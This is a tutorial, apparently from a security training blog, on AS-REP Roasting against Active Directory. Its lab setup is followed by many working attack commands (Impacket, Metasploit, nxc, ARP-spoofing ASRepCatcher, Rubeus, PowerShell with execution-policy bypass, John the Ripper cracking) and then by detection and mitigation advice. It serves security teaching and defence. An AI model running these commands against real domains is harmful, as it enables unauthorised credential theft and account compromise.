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AS-REP Roasting

georgehinds35

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In this post, we delve into the exploitation of Kerberos accounts with pre-authentication disabled, commonly known as AS-REP Roasting. This attack targets user accounts in Active Directory (AD) environments where Kerberos pre-authentication is not enforced, allowing attackers to extract hashed credentials and potentially crack them offline.

The post outlines lab setup, exploitation methods, and mitigation techniques, mapped to the MITRE ATT&CK framework for clarity. Detection mechanisms and actionable recommendations are also provided to help security professionals identify and defend against this prevalent threat.

Table of Contents
  • AS-REP Roasting
  • Prerequisites

Lab Setup

  • BloodyAD
  • ldap_shell

Method for Exploitation – AS-REP Roasting Attack (T1558.004)

  • Impacket-GetNPUsers
  • Metasploit
  • Nxc
  • ASREProast MitM
  • Rubeus

Windows PowerShell – ASREPRoast

Detection & Mitigation

AS-REP Roasting

AS-REP Roasting is an attack targeting the Kerberos authentication protocol. It exploits accounts where Kerberos pre-authentication is disabled, allowing attackers to crack passwords offline.

How the Attack Works:

  • Request a Ticket: The attacker sends a request to the Key Distribution Center (KDC) for an account with pre-authentication disabled.
  • Receive Encrypted Data: The KDC sends back an AS-REP response, encrypted using the account’s password hash.
  • Crack the Password: The attacker uses tools to brute-force the password offline. If the password is weak, they gain access.

Why Pre-Authentication Matters

Pre-authentication requires users to prove their identity before the KDC issues an AS-REP response. Without it attackers can request AS-REP responses without knowing the password.

Prerequisites
  • Windows Server 2019 as Active Directory
  • Kali Linux
  • Tools: Impacket, Metasploit, nxc, AsRepCatcher, ldap_shell, Powerview, Rubeus
  • Windows 10/11 – As Client

Lab Setup

In this lab setup, we will create a user named ‘Yashika’ with Kerberos pre-authentication disabled, setting the stage for an AS-REP Roasting attack simulation.

Create the AD Environment:

To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.

Domain Controller:

  • Install Windows Server (2016 or 2019 recommended).
  • Promote it to a Domain Controller by adding the Active Directory Domain Services
  • Set up the domain (e.g., local).

User Accounts:

  • Create an AD user account named Yashika.

Code:
net user yashika Password@1 /add /domain

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Disable Kerberos preauthentication for Yashika User:

Once your AD environment is set up, you need to disable Kerberos preauthentication for Yashika user.

Steps:

  • Open Active Directory Users and Computers (ADUC) on the Domain Controller.
  • Enable the Advanced Features view by clicking on View > Advanced Features.
  • Locate User Yashika in the Users
  • Right-click on Yashika User and go to Properties.
  • Go to the Account
  • In the Account optionssection, check the box for Do not require Kerberos preauthentication
  • Apply the settings.

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Alternate methods of lab setup

BloodyAD

Alternatively, lab setup can be done with the help of BloodyAD, to disable preauthentication:

Code:
bloodyAD --host 192.168.1.48 -d ignite.local -u administrator -p Ignite@987 add uac yashika -f DONT_REQ_PREAUTH

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And below is the command to re-enable preauthentication:

Code:
bloodyAD --host 192.168.1.48 -d ignite.local -u administrator -p Ignite@987 remove uac yashika -f DONT_REQ_PREAUTH

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ldap_shell

Alternatively, it can be achieved using ldap_shell

Code:
ldap_shell ignite.local/administrator:Ignite@987 -dc-ip 192.168.1.48

To disable pre-authentication:

Code:
set_dontreqpreauth yashika true

To re-enable pre-authentication:

Code:
set_dontreqpreauth yashika false

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Exploitation

Method for Exploitation – AS-REP Roasting Attack (T1558.004)

Attackers can exploit user accounts with Kerberos pre-authentication disabled by requesting encrypted credentials (AS-REP responses) and cracking them offline.

Impacket-GetNPUsers

The GetNPUsers script within Impacket can be used to perform AS-REP Roasting attacks and retrieve password hashes.

With a user’s file

Code:
impacket-GetNPUsers -dc-ip 192.168.1.48 ignite.local/ -usersfile users.txt -format john -outputfile hashes

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Further, with the help of John the Ripper dictionary such as Rockyou can help the attacker to extract the password from the hash.

Code:
john -w=/usr/share/wordlists/rockyou.txt hashes

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With a specific username

Code:
impacket-GetNPUsers ignite.local/yashika -dc-ip 192.168.1.48 -no-pass

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Metasploit

This module searches for AD users without pre-auth required. Two different approaches are provided: – Brute force of usernames (does not require a user account; should not lock out accounts) – LDAP lookup (requires an AD user account).

With a user’s file:

Code:
use auxiliary/gather/asrep
set rhosts 192.168.1.48
set domain ignite.local
set user_file users.txt
run

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With a specific username

Code:
use auxiliary/gather/asrep
set domain ignite.local
set rhosts 192.168.1.48
set username yashika
run

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nxc

To check whether an account exists within Active Directory without Kerberos protocol, and is vulnerable to asreproast attack

Code:
nxc ldap 192.168.1.48 -u "users.txt" -p '' -k

7_2.png


To perform the asreproast attack with a user’s file

Code:
nxc ldap 192.168.1.48 -u "users.txt" -p '' --asreproast output.txt

8.png


To perform the asreproast attack with a specific username

Code:
nxc ldap 192.168.1.48 -u yashika -p '' --asreproast result.txt

9.png


ASREProast MitM

ASRepCatcher uses ARP spoofing to catch AS-REP messages returned by the Domain Controller to the clients and prints out the hash to crack.

Clone the repository and install:

Code:
git clone https://github.com/Yaxxine7/ASRepCatcher.git
cd AsRepCatcher
python3 setup.py install

10.png


Run the attack:

Code:
AsRepCatcher relay -dc 192.168.1.48

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Crack the hashes:

Code:
john –format=krb5asrep -w=/usr/share/wordlists/rockyou.txt asrep_hashes.txt

14.png


Windows

Rubeus

Rubeus is a powerful post-exploitation tool that attackers can use to interact with Kerberos tickets and perform AS-REP Roasting attacks. It allows attackers to request service tickets for accounts with pre-authentication disabled.

Code:
Rubeus.exe asreproast /format:john /outfile:hash.txt

50.png


Windows PowerShell – ASREPRoast

The attacker can perform asreproasting using ASREPRoast PowerShell script module.

Code:
powershell -ep bypass
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast
Invoke-ASREPRoast | select -ExpandProperty Hash > hashdump

51.png


Detection & Mitigation

Detection

Detecting AS-REP Roasting attacks is important to prevent password theft.

Event ID 4768, recorded in the Security Logs on the domain controller, is triggered whenever a Kerberos authentication ticket is requested. Key details to look for in this event include:

  • Ticket Encryption Type: Often 0x17 (RC4 encryption).
  • Pre-Authentication Type: If it is 0, it indicates that preauthentication is disabled, a condition targeted by AS-REP Roasting attacks.
  • Service Name: Typically, krbtgt (Kerberos Ticket-Granting Ticket).

If you see these parameters in your logs, it might signal an AS-REP Roasting attack, as attackers generate these events while tampering with domain accounts. Regularly reviewing logs for these signs can help detect and mitigate this threat.

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Mitigation

  • Enable Pre-Authentication: Ensure the “Do not require Kerberos pre-authentication” setting is disabled for all accounts.
  • Use Strong Passwords: Enforce complex, unique passwords and regularly update them.
  • Disable RC4-HMAC: Transition to stronger encryption types like AES128 (0x11) or AES256 (0x12) through Group Policy.
  • Monitor Logs: Monitor the less secure encryption type such as 0x1 & 0x3 (DES) 0x17 & 0x18 (Rc4).

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Author: Komal Singh is a Cyber Security Researcher and Technical Content Writer, she is a completely enthusiastic pentester and Security Analyst at Ignite Technologies. ContactHere
 

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